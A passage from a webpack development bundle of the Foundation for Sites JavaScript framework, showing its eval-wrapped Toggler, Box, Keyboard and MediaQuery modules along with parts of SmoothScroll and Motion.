scrollPos = Math.round($loc.offset().top - options.threshold / 2 - options.offset);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\'html, body\').stop(true).animate({\n scrollTop: scrollPos\n }, options.animationDuration, options.animationEasing, function () {\n if (typeof callback === \'function\') {\n callback();\n }\n });\n }\n }]);\n\n return SmoothScroll;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__["Plugin"]);\n/**\n * Default settings for plugin.\n */\n\n\nSmoothScroll.defaults = {\n /**\n * Amount of time, in ms, the animated scrolling should take between locations.\n * @option\n * @type {number}\n * @default 500\n */\n animationDuration: 500,\n\n /**\n * Animation style to use when scrolling between locations. Can be `\'swing\'` or `\'linear\'`.\n * @option\n * @type {string}\n * @default \'linear\'\n * @see {@link https://api.jquery.com/animate|Jquery animate}\n */\n animationEasing: \'linear\',\n\n /**\n * Number of pixels to use as a marker for location changes.\n * @option\n * @type {number}\n * @default 50\n */\n threshold: 50,\n\n /**\n * Number of pixels to offset the scroll of the page on item click if using a sticky nav bar.\n * @option\n * @type {number}\n * @default 0\n */\n offset: 0\n};\n\n\n//# sourceURL=webpack:///./js/foundation.smoothScroll.js?')},"./js/foundation.toggler.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Toggler", function() { return Toggler; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.motion */ "./js/foundation.util.motion.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n/* harmony import */ var _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.triggers */ "./js/foundation.util.triggers.js");\n\n\nfunction _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n/**\n * Toggler module.\n * @module foundation.toggler\n * @requires foundation.util.motion\n * @requires foundation.util.triggers\n */\n\nvar Toggler =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(Toggler, _Plugin);\n\n function Toggler() {\n _classCallCheck(this, Toggler);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(Toggler).apply(this, arguments));\n }\n\n _createClass(Toggler, [{\n key: "_setup",\n\n /**\n * Creates a new instance of Toggler.\n * @class\n * @name Toggler\n * @fires Toggler#init\n * @param {Object} element - jQuery object to add the trigger to.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, Toggler.defaults, element.data(), options);\n this.className = \'\';\n this.className = \'Toggler\'; // ie9 back compat\n // Triggers init is idempotent, just need to make sure it is initialized\n\n _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_4__["Triggers"].init(jquery__WEBPACK_IMPORTED_MODULE_0___default.a);\n\n this._init();\n\n this._events();\n }\n /**\n * Initializes the Toggler plugin by parsing the toggle class from data-toggler, or animation classes from data-animate.\n * @function\n * @private\n */\n\n }, {\n key: "_init",\n value: function _init() {\n var input; // Parse animation classes if they were set\n\n if (this.options.animate) {\n input = this.options.animate.split(\' \');\n this.animationIn = input[0];\n this.animationOut = input[1] || null;\n } // Otherwise, parse toggle class\n else {\n input = this.$element.data(\'toggler\'); // Allow for a . at the beginning of the string\n\n this.className = input[0] === \'.\' ? input.slice(1) : input;\n } // Add ARIA attributes to triggers:\n\n\n var id = this.$element[0].id,\n $triggers = jquery__WEBPACK_IMPORTED_MODULE_0___default()("[data-open~=\\"".concat(id, "\\"], [data-close~=\\"").concat(id, "\\"], [data-toggle~=\\"").concat(id, "\\"]")); // - aria-expanded: according to the element visibility.\n\n $triggers.attr(\'aria-expanded\', !this.$element.is(\':hidden\')); // - aria-controls: adding the element id to it if not already in it.\n\n $triggers.each(function (index, trigger) {\n var $trigger = jquery__WEBPACK_IMPORTED_MODULE_0___default()(trigger);\n var controls = $trigger.attr(\'aria-controls\') || \'\';\n var containsId = new RegExp("\\\\b".concat(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__["RegExpEscape"])(id), "\\\\b")).test(controls);\n if (!containsId) $trigger.attr(\'aria-controls\', controls ? "".concat(controls, " ").concat(id) : id);\n });\n }\n /**\n * Initializes events for the toggle trigger.\n * @function\n * @private\n */\n\n }, {\n key: "_events",\n value: function _events() {\n this.$element.off(\'toggle.zf.trigger\').on(\'toggle.zf.trigger\', this.toggle.bind(this));\n }\n /**\n * Toggles the target class on the target element. An event is fired from the original trigger depending on if the resultant state was "on" or "off".\n * @function\n * @fires Toggler#on\n * @fires Toggler#off\n */\n\n }, {\n key: "toggle",\n value: function toggle() {\n this[this.options.animate ? \'_toggleAnimate\' : \'_toggleClass\']();\n }\n }, {\n key: "_toggleClass",\n value: function _toggleClass() {\n this.$element.toggleClass(this.className);\n var isOn = this.$element.hasClass(this.className);\n\n if (isOn) {\n /**\n * Fires if the target element has the class after a toggle.\n * @event Toggler#on\n */\n this.$element.trigger(\'on.zf.toggler\');\n } else {\n /**\n * Fires if the target element does not have the class after a toggle.\n * @event Toggler#off\n */\n this.$element.trigger(\'off.zf.toggler\');\n }\n\n this._updateARIA(isOn);\n\n this.$element.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n }\n }, {\n key: "_toggleAnimate",\n value: function _toggleAnimate() {\n var _this = this;\n\n if (this.$element.is(\':hidden\')) {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_1__["Motion"].animateIn(this.$element, this.animationIn, function () {\n _this._updateARIA(true);\n\n this.trigger(\'on.zf.toggler\');\n this.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n });\n } else {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_1__["Motion"].animateOut(this.$element, this.animationOut, function () {\n _this._updateARIA(false);\n\n this.trigger(\'off.zf.toggler\');\n this.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n });\n }\n }\n }, {\n key: "_updateARIA",\n value: function _updateARIA(isOn) {\n var id = this.$element[0].id;\n jquery__WEBPACK_IMPORTED_MODULE_0___default()("[data-open=\\"".concat(id, "\\"], [data-close=\\"").concat(id, "\\"], [data-toggle=\\"").concat(id, "\\"]")).attr({\n \'aria-expanded\': isOn ? true : false\n });\n }\n /**\n * Destroys the instance of Toggler on the element.\n * @function\n */\n\n }, {\n key: "_destroy",\n value: function _destroy() {\n this.$element.off(\'.zf.toggler\');\n }\n }]);\n\n return Toggler;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__["Plugin"]);\n\nToggler.defaults = {\n /**\n * Tells the plugin if the element should animated when toggled.\n * @option\n * @type {boolean}\n * @default false\n */\n animate: false\n};\n\n\n//# sourceURL=webpack:///./js/foundation.toggler.js?')},"./js/foundation.util.box.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Box\", function() { return Box; });\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n\n\n\nvar Box = {\n ImNotTouchingYou: ImNotTouchingYou,\n OverlapArea: OverlapArea,\n GetDimensions: GetDimensions,\n GetOffsets: GetOffsets,\n GetExplicitOffsets: GetExplicitOffsets\n /**\n * Compares the dimensions of an element to a container and determines collision events with container.\n * @function\n * @param {jQuery} element - jQuery object to test for collisions.\n * @param {jQuery} parent - jQuery object to use as bounding container.\n * @param {Boolean} lrOnly - set to true to check left and right values only.\n * @param {Boolean} tbOnly - set to true to check top and bottom values only.\n * @default if no parent object passed, detects collisions with `window`.\n * @returns {Boolean} - true if collision free, false if a collision in any direction.\n */\n\n};\n\nfunction ImNotTouchingYou(element, parent, lrOnly, tbOnly, ignoreBottom) {\n return OverlapArea(element, parent, lrOnly, tbOnly, ignoreBottom) === 0;\n}\n\n;\n\nfunction OverlapArea(element, parent, lrOnly, tbOnly, ignoreBottom) {\n var eleDims = GetDimensions(element),\n topOver,\n bottomOver,\n leftOver,\n rightOver;\n\n if (parent) {\n var parDims = GetDimensions(parent);\n bottomOver = parDims.height + parDims.offset.top - (eleDims.offset.top + eleDims.height);\n topOver = eleDims.offset.top - parDims.offset.top;\n leftOver = eleDims.offset.left - parDims.offset.left;\n rightOver = parDims.width + parDims.offset.left - (eleDims.offset.left + eleDims.width);\n } else {\n bottomOver = eleDims.windowDims.height + eleDims.windowDims.offset.top - (eleDims.offset.top + eleDims.height);\n topOver = eleDims.offset.top - eleDims.windowDims.offset.top;\n leftOver = eleDims.offset.left - eleDims.windowDims.offset.left;\n rightOver = eleDims.windowDims.width - (eleDims.offset.left + eleDims.width);\n }\n\n bottomOver = ignoreBottom ? 0 : Math.min(bottomOver, 0);\n topOver = Math.min(topOver, 0);\n leftOver = Math.min(leftOver, 0);\n rightOver = Math.min(rightOver, 0);\n\n if (lrOnly) {\n return leftOver + rightOver;\n }\n\n if (tbOnly) {\n return topOver + bottomOver;\n } // use sum of squares b/c we care about overlap area.\n\n\n return Math.sqrt(topOver * topOver + bottomOver * bottomOver + leftOver * leftOver + rightOver * rightOver);\n}\n/**\n * Uses native methods to return an object of dimension values.\n * @function\n * @param {jQuery || HTML} element - jQuery object or DOM element for which to get the dimensions. Can be any element other that document or window.\n * @returns {Object} - nested object of integer pixel values\n * TODO - if element is window, return only those values.\n */\n\n\nfunction GetDimensions(elem) {\n elem = elem.length ? elem[0] : elem;\n\n if (elem === window || elem === document) {\n throw new Error(\"I'm sorry, Dave. I'm afraid I can't do that.\");\n }\n\n var rect = elem.getBoundingClientRect(),\n parRect = elem.parentNode.getBoundingClientRect(),\n winRect = document.body.getBoundingClientRect(),\n winY = window.pageYOffset,\n winX = window.pageXOffset;\n return {\n width: rect.width,\n height: rect.height,\n offset: {\n top: rect.top + winY,\n left: rect.left + winX\n },\n parentDims: {\n width: parRect.width,\n height: parRect.height,\n offset: {\n top: parRect.top + winY,\n left: parRect.left + winX\n }\n },\n windowDims: {\n width: winRect.width,\n height: winRect.height,\n offset: {\n top: winY,\n left: winX\n }\n }\n };\n}\n/**\n * Returns an object of top and left integer pixel values for dynamically rendered elements,\n * such as: Tooltip, Reveal, and Dropdown. Maintained for backwards compatibility, and where\n * you don't know alignment, but generally from\n * 6.4 forward you should use GetExplicitOffsets, as GetOffsets conflates position and alignment.\n * @function\n * @param {jQuery} element - jQuery object for the element being positioned.\n * @param {jQuery} anchor - jQuery object for the element's anchor point.\n * @param {String} position - a string relating to the desired position of the element, relative to it's anchor\n * @param {Number} vOffset - integer pixel value of desired vertical separation between anchor and element.\n * @param {Number} hOffset - integer pixel value of desired horizontal separation between anchor and element.\n * @param {Boolean} isOverflow - if a collision event is detected, sets to true to default the element to full width - any desired offset.\n * TODO alter/rewrite to work with `em` values as well/instead of pixels\n */\n\n\nfunction GetOffsets(element, anchor, position, vOffset, hOffset, isOverflow) {\n console.log(\"NOTE: GetOffsets is deprecated in favor of GetExplicitOffsets and will be removed in 6.5\");\n\n switch (position) {\n case 'top':\n return Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__[\"rtl\"])() ? GetExplicitOffsets(element, anchor, 'top', 'left', vOffset, hOffset, isOverflow) : GetExplicitOffsets(element, anchor, 'top', 'right', vOffset, hOffset, isOverflow);\n\n case 'bottom':\n return Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__[\"rtl\"])() ? GetExplicitOffsets(element, anchor, 'bottom', 'left', vOffset, hOffset, isOverflow) : GetExplicitOffsets(element, anchor, 'bottom', 'right', vOffset, hOffset, isOverflow);\n\n case 'center top':\n return GetExplicitOffsets(element, anchor, 'top', 'center', vOffset, hOffset, isOverflow);\n\n case 'center bottom':\n return GetExplicitOffsets(element, anchor, 'bottom', 'center', vOffset, hOffset, isOverflow);\n\n case 'center left':\n return GetExplicitOffsets(element, anchor, 'left', 'center', vOffset, hOffset, isOverflow);\n\n case 'center right':\n return GetExplicitOffsets(element, anchor, 'right', 'center', vOffset, hOffset, isOverflow);\n\n case 'left bottom':\n return GetExplicitOffsets(element, anchor, 'bottom', 'left', vOffset, hOffset, isOverflow);\n\n case 'right bottom':\n return GetExplicitOffsets(element, anchor, 'bottom', 'right', vOffset, hOffset, isOverflow);\n // Backwards compatibility... this along with the reveal and reveal full\n // classes are the only ones that didn't reference anchor\n\n case 'center':\n return {\n left: $eleDims.windowDims.offset.left + $eleDims.windowDims.width / 2 - $eleDims.width / 2 + hOffset,\n top: $eleDims.windowDims.offset.top + $eleDims.windowDims.height / 2 - ($eleDims.height / 2 + vOffset)\n };\n\n case 'reveal':\n return {\n left: ($eleDims.windowDims.width - $eleDims.width) / 2 + hOffset,\n top: $eleDims.windowDims.offset.top + vOffset\n };\n\n case 'reveal full':\n return {\n left: $eleDims.windowDims.offset.left,\n top: $eleDims.windowDims.offset.top\n };\n break;\n\n default:\n return {\n left: Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__[\"rtl\"])() ? $anchorDims.offset.left - $eleDims.width + $anchorDims.width - hOffset : $anchorDims.offset.left + hOffset,\n top: $anchorDims.offset.top + $anchorDims.height + vOffset\n };\n }\n}\n\nfunction GetExplicitOffsets(element, anchor, position, alignment, vOffset, hOffset, isOverflow) {\n var $eleDims = GetDimensions(element),\n $anchorDims = anchor ? GetDimensions(anchor) : null;\n var topVal, leftVal; // set position related attribute\n\n switch (position) {\n case 'top':\n topVal = $anchorDims.offset.top - ($eleDims.height + vOffset);\n break;\n\n case 'bottom':\n topVal = $anchorDims.offset.top + $anchorDims.height + vOffset;\n break;\n\n case 'left':\n leftVal = $anchorDims.offset.left - ($eleDims.width + hOffset);\n break;\n\n case 'right':\n leftVal = $anchorDims.offset.left + $anchorDims.width + hOffset;\n break;\n } // set alignment related attribute\n\n\n switch (position) {\n case 'top':\n case 'bottom':\n switch (alignment) {\n case 'left':\n leftVal = $anchorDims.offset.left + hOffset;\n break;\n\n case 'right':\n leftVal = $anchorDims.offset.left - $eleDims.width + $anchorDims.width - hOffset;\n break;\n\n case 'center':\n leftVal = isOverflow ? hOffset : $anchorDims.offset.left + $anchorDims.width / 2 - $eleDims.width / 2 + hOffset;\n break;\n }\n\n break;\n\n case 'right':\n case 'left':\n switch (alignment) {\n case 'bottom':\n topVal = $anchorDims.offset.top - vOffset + $anchorDims.height - $eleDims.height;\n break;\n\n case 'top':\n topVal = $anchorDims.offset.top + vOffset;\n break;\n\n case 'center':\n topVal = $anchorDims.offset.top + vOffset + $anchorDims.height / 2 - $eleDims.height / 2;\n break;\n }\n\n break;\n }\n\n return {\n top: topVal,\n left: leftVal\n };\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.box.js?")},"./js/foundation.util.keyboard.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Keyboard\", function() { return Keyboard; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/*******************************************\n * *\n * This util was created by Marius Olbertz *\n * Please thank Marius on GitHub /owlbertz *\n * or the web http://www.mariusolbertz.de/ *\n * *\n ******************************************/\n\n\n\n\nvar keyCodes = {\n 9: 'TAB',\n 13: 'ENTER',\n 27: 'ESCAPE',\n 32: 'SPACE',\n 35: 'END',\n 36: 'HOME',\n 37: 'ARROW_LEFT',\n 38: 'ARROW_UP',\n 39: 'ARROW_RIGHT',\n 40: 'ARROW_DOWN'\n};\nvar commands = {}; // Functions pulled out to be referenceable from internals\n\nfunction findFocusable($element) {\n if (!$element) {\n return false;\n }\n\n return $element.find('a[href], area[href], input:not([disabled]), select:not([disabled]), textarea:not([disabled]), button:not([disabled]), iframe, object, embed, *[tabindex], *[contenteditable]').filter(function () {\n if (!jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is(':visible') || jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).attr('tabindex') < 0) {\n return false;\n } //only have visible elements and those that have a tabindex greater or equal 0\n\n\n return true;\n });\n}\n\nfunction parseKey(event) {\n var key = keyCodes[event.which || event.keyCode] || String.fromCharCode(event.which).toUpperCase(); // Remove un-printable characters, e.g. for `fromCharCode` calls for CTRL only events\n\n key = key.replace(/\\W+/, '');\n if (event.shiftKey) key = \"SHIFT_\".concat(key);\n if (event.ctrlKey) key = \"CTRL_\".concat(key);\n if (event.altKey) key = \"ALT_\".concat(key); // Remove trailing underscore, in case only modifiers were used (e.g. only `CTRL_ALT`)\n\n key = key.replace(/_$/, '');\n return key;\n}\n\nvar Keyboard = {\n keys: getKeyCodes(keyCodes),\n\n /**\n * Parses the (keyboard) event and returns a String that represents its key\n * Can be used like Foundation.parseKey(event) === Foundation.keys.SPACE\n * @param {Event} event - the event generated by the event handler\n * @return String key - String that represents the key pressed\n */\n parseKey: parseKey,\n\n /**\n * Handles the given (keyboard) event\n * @param {Event} event - the event generated by the event handler\n * @param {String} component - Foundation component's name, e.g. Slider or Reveal\n * @param {Objects} functions - collection of functions that are to be executed\n */\n handleKey: function handleKey(event, component, functions) {\n var commandList = commands[component],\n keyCode = this.parseKey(event),\n cmds,\n command,\n fn;\n if (!commandList) return console.warn('Component not defined!');\n\n if (typeof commandList.ltr === 'undefined') {\n // this component does not differentiate between ltr and rtl\n cmds = commandList; // use plain list\n } else {\n // merge ltr and rtl: if document is rtl, rtl overwrites ltr and vice versa\n if (Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"rtl\"])()) cmds = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, commandList.ltr, commandList.rtl);else cmds = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, commandList.rtl, commandList.ltr);\n }\n\n command = cmds[keyCode];\n fn = functions[command];\n\n if (fn && typeof fn === 'function') {\n // execute function if exists\n var returnValue = fn.apply();\n\n if (functions.handled || typeof functions.handled === 'function') {\n // execute function when event was handled\n functions.handled(returnValue);\n }\n } else {\n if (functions.unhandled || typeof functions.unhandled === 'function') {\n // execute function when event was not handled\n functions.unhandled();\n }\n }\n },\n\n /**\n * Finds all focusable elements within the given `$element`\n * @param {jQuery} $element - jQuery object to search within\n * @return {jQuery} $focusable - all focusable elements within `$element`\n */\n findFocusable: findFocusable,\n\n /**\n * Returns the component name name\n * @param {Object} component - Foundation component, e.g. Slider or Reveal\n * @return String componentName\n */\n register: function register(componentName, cmds) {\n commands[componentName] = cmds;\n },\n // TODO9438: These references to Keyboard need to not require global. Will 'this' work in this context?\n //\n\n /**\n * Traps the focus in the given element.\n * @param {jQuery} $element jQuery object to trap the foucs into.\n */\n trapFocus: function trapFocus($element) {\n var $focusable = findFocusable($element),\n $firstFocusable = $focusable.eq(0),\n $lastFocusable = $focusable.eq(-1);\n $element.on('keydown.zf.trapfocus', function (event) {\n if (event.target === $lastFocusable[0] && parseKey(event) === 'TAB') {\n event.preventDefault();\n $firstFocusable.focus();\n } else if (event.target === $firstFocusable[0] && parseKey(event) === 'SHIFT_TAB') {\n event.preventDefault();\n $lastFocusable.focus();\n }\n });\n },\n\n /**\n * Releases the trapped focus from the given element.\n * @param {jQuery} $element jQuery object to release the focus for.\n */\n releaseFocus: function releaseFocus($element) {\n $element.off('keydown.zf.trapfocus');\n }\n};\n/*\n * Constants for easier comparing.\n * Can be used like Foundation.parseKey(event) === Foundation.keys.SPACE\n */\n\nfunction getKeyCodes(kcs) {\n var k = {};\n\n for (var kc in kcs) {\n k[kcs[kc]] = kcs[kc];\n }\n\n return k;\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.keyboard.js?")},"./js/foundation.util.mediaQuery.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"MediaQuery\", function() { return MediaQuery; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\n // Default set of media queries\n\nvar defaultQueries = {\n 'default': 'only screen',\n landscape: 'only screen and (orientation: landscape)',\n portrait: 'only screen and (orientation: portrait)',\n retina: 'only screen and (-webkit-min-device-pixel-ratio: 2),' + 'only screen and (min--moz-device-pixel-ratio: 2),' + 'only screen and (-o-min-device-pixel-ratio: 2/1),' + 'only screen and (min-device-pixel-ratio: 2),' + 'only screen and (min-resolution: 192dpi),' + 'only screen and (min-resolution: 2dppx)'\n}; // matchMedia() polyfill - Test a CSS media type/query in JS.\n// Authors & copyright(c) 2012: Scott Jehl, Paul Irish, Nicholas Zakas, David Knight. MIT license\n\n/* eslint-disable */\n\nwindow.matchMedia || (window.matchMedia = function () {\n \"use strict\"; // For browsers that support matchMedium api such as IE 9 and webkit\n\n var styleMedia = window.styleMedia || window.media; // For those that don't support matchMedium\n\n if (!styleMedia) {\n var style = document.createElement('style'),\n script = document.getElementsByTagName('script')[0],\n info = null;\n style.type = 'text/css';\n style.id = 'matchmediajs-test';\n\n if (!script) {\n document.head.appendChild(style);\n } else {\n script.parentNode.insertBefore(style, script);\n } // 'style.currentStyle' is used by IE <= 8 and 'window.getComputedStyle' for all other browsers\n\n\n info = 'getComputedStyle' in window && window.getComputedStyle(style, null) || style.currentStyle;\n styleMedia = {\n matchMedium: function matchMedium(media) {\n var text = '@media ' + media + '{ #matchmediajs-test { width: 1px; } }'; // 'style.styleSheet' is used by IE <= 8 and 'style.textContent' for all other browsers\n\n if (style.styleSheet) {\n style.styleSheet.cssText = text;\n } else {\n style.textContent = text;\n } // Test if media query is true or false\n\n\n return info.width === '1px';\n }\n };\n }\n\n return function (media) {\n return {\n matches: styleMedia.matchMedium(media || 'all'),\n media: media || 'all'\n };\n };\n}());\n/* eslint-enable */\n\nvar MediaQuery = {\n queries: [],\n current: '',\n\n /**\n * Initializes the media query helper, by extracting the breakpoint list from the CSS and activating the breakpoint watcher.\n * @function\n * @private\n */\n _init: function _init() {\n var self = this;\n var $meta = jquery__WEBPACK_IMPORTED_MODULE_0___default()('meta.foundation-mq');\n\n if (!$meta.length) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('').appendTo(document.head);\n }\n\n var extractedStyles = jquery__WEBPACK_IMPORTED_MODULE_0___default()('.foundation-mq').css('font-family');\n var namedQueries;\n namedQueries = parseStyleToObject(extractedStyles);\n\n for (var key in namedQueries) {\n if (namedQueries.hasOwnProperty(key)) {\n self.queries.push({\n name: key,\n value: \"only screen and (min-width: \".concat(namedQueries[key], \")\")\n });\n }\n }\n\n this.current = this._getCurrentSize();\n\n this._watcher();\n },\n\n /**\n * Checks if the screen is at least as wide as a breakpoint.\n * @function\n * @param {String} size - Name of the breakpoint to check.\n * @returns {Boolean} `true` if the breakpoint matches, `false` if it's smaller.\n */\n atLeast: function atLeast(size) {\n var query = this.get(size);\n\n if (query) {\n return window.matchMedia(query).matches;\n }\n\n return false;\n },\n\n /**\n * Checks if the screen matches to a breakpoint.\n * @function\n * @param {String} size - Name of the breakpoint to check, either 'small only' or 'small'. Omitting 'only' falls back to using atLeast() method.\n * @returns {Boolean} `true` if the breakpoint matches, `false` if it does not.\n */\n is: function is(size) {\n size = size.trim().split(' ');\n\n if (size.length > 1 && size[1] === 'only') {\n if (size[0] === this._getCurrentSize()) return true;\n } else {\n return this.atLeast(size[0]);\n }\n\n return false;\n },\n\n /**\n * Gets the media query of a breakpoint.\n * @function\n * @param {String} size - Name of the breakpoint to get.\n * @returns {String|null} - The media query of the breakpoint, or `null` if the breakpoint doesn't exist.\n */\n get: function get(size) {\n for (var i in this.queries) {\n if (this.queries.hasOwnProperty(i)) {\n var query = this.queries[i];\n if (size === query.name) return query.value;\n }\n }\n\n return null;\n },\n\n /**\n * Gets the current breakpoint name by testing every breakpoint and returning the last one to match (the biggest one).\n * @function\n * @private\n * @returns {String} Name of the current breakpoint.\n */\n _getCurrentSize: function _getCurrentSize() {\n var matched;\n\n for (var i = 0; i < this.queries.length; i++) {\n var query = this.queries[i];\n\n if (window.matchMedia(query.value).matches) {\n matched = query;\n }\n }\n\n if (_typeof(matched) === 'object') {\n return matched.name;\n } else {\n return matched;\n }\n },\n\n /**\n * Activates the breakpoint watcher, which fires an event on the window whenever the breakpoint changes.\n * @function\n * @private\n */\n _watcher: function _watcher() {\n var _this = this;\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off('resize.zf.mediaquery').on('resize.zf.mediaquery', function () {\n var newSize = _this._getCurrentSize(),\n currentSize = _this.current;\n\n if (newSize !== currentSize) {\n // Change the current media query\n _this.current = newSize; // Broadcast the media query change on the window\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).trigger('changed.zf.mediaquery', [newSize, currentSize]);\n }\n });\n }\n}; // Thank you: https://github.com/sindresorhus/query-string\n\nfunction parseStyleToObject(str) {\n var styleObject = {};\n\n if (typeof str !== 'string') {\n return styleObject;\n }\n\n str = str.trim().slice(1, -1); // browsers re-quote string style values\n\n if (!str) {\n return styleObject;\n }\n\n styleObject = str.split('&').reduce(function (ret, param) {\n var parts = param.replace(/\\+/g, ' ').split('=');\n var key = parts[0];\n var val = parts[1];\n key = decodeURIComponent(key); // missing `=` should be `null`:\n // http://w3.org/TR/2012/WD-url-20120524/#collect-url-parameters\n\n val = typeof val === 'undefined' ? null : decodeURIComponent(val);\n\n if (!ret.hasOwnProperty(key)) {\n ret[key] = val;\n } else if (Array.isArray(ret[key])) {\n ret[key].push(val);\n } else {\n ret[key] = [ret[key], val];\n }\n\n return ret;\n }, {});\n return styleObject;\n}\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.mediaQuery.js?")},"./js/foundation.util.motion.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Move\", function() { return Move; });\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Motion\", function() { return Motion; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n\n\n\n\n/**\n * Motion module.\n * 